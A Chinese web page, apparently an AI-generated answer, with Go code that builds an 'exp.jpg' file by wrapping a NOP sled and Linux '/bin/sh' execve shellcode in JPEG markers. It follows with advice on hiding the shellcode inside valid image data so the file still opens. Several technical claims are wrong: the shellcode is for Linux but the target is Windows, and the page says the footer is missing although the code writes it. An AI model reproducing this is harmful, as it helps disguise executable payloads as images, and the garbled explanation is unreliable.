该代码生成的 'exp.jpg' 文件在 Windows 上无法打开,因为它并不是一个有效的 JPEG 文件,而是一个包含注入的 shellcode 的二进制文件。要使其成为有效的 JPEG 文件,应该在构建文件时确保文件的格式正确,例如在文件头部添加正确的 JPEG 文件头信息,以及在文件尾部添加正确的文件尾信息。同时,注入的 shellcode 应该在正确的位置进行注入,以确保文件仍然是有效的 JPEG 文件。

package main

import (
    "os"
)

func main() {
    // 构建JPEG文件头部
    header := []byte{0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60, 0x00, 0x60, 0x00, 0x00}

    // 构建注入的shellcode
    shellcode := []byte{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}

    // 构建SOS标记
    sos := []byte{0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x10, 0x03, 0x01, 0x00, 0x00}

    // 构建JPEG文件尾部
    footer := []byte{0xFF, 0xD9}

    // 将文件写入磁盘
    f, _ := os.Create("exp.jpg")
    defer f.Close()

    f.Write(header) // 写入文件头
    f.Write(shellcode) // 写入shellcode
    f.Write(sos) // 写入第一个SOS标记
    f.Write(shellcode) // 再次写入shellcode
    f.Write(sos) // 写入第二个SOS标记
    f.Write(footer) // 写入文件尾部
}

该代码的错误在于:

  1. 缺少完整的 JPEG 文件头信息: JPEG 文件头应该包含更多信息,例如图像宽度、高度、颜色空间等。
  2. 缺少完整的 JPEG 文件尾信息: JPEG 文件尾应该包含文件结束标记。
  3. shellcode 注入的位置不合理: shellcode 应该注入到 JPEG 文件数据部分,而不是头部或尾部。

修复方法:

  1. 使用一个完整的 JPEG 文件头和文件尾,并根据实际情况设置相关参数,例如图像尺寸、颜色空间等。
  2. 使用一个有效的 JPEG 文件,在文件数据部分注入 shellcode。
  3. 使用专业的工具或库来生成 JPEG 文件,避免手动编写代码,减少错误发生率。

注意: 注入 shellcode 的行为可能被视为恶意行为,请谨慎使用。

通过修复代码错误,可以生成一个有效的 JPEG 文件,并在 Windows 上正常打开。

Windows 上无法打开生成的 exp.jpg 文件:解析代码并修复错误

原文地址: https://www.cveoy.top/t/topic/mrkt 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录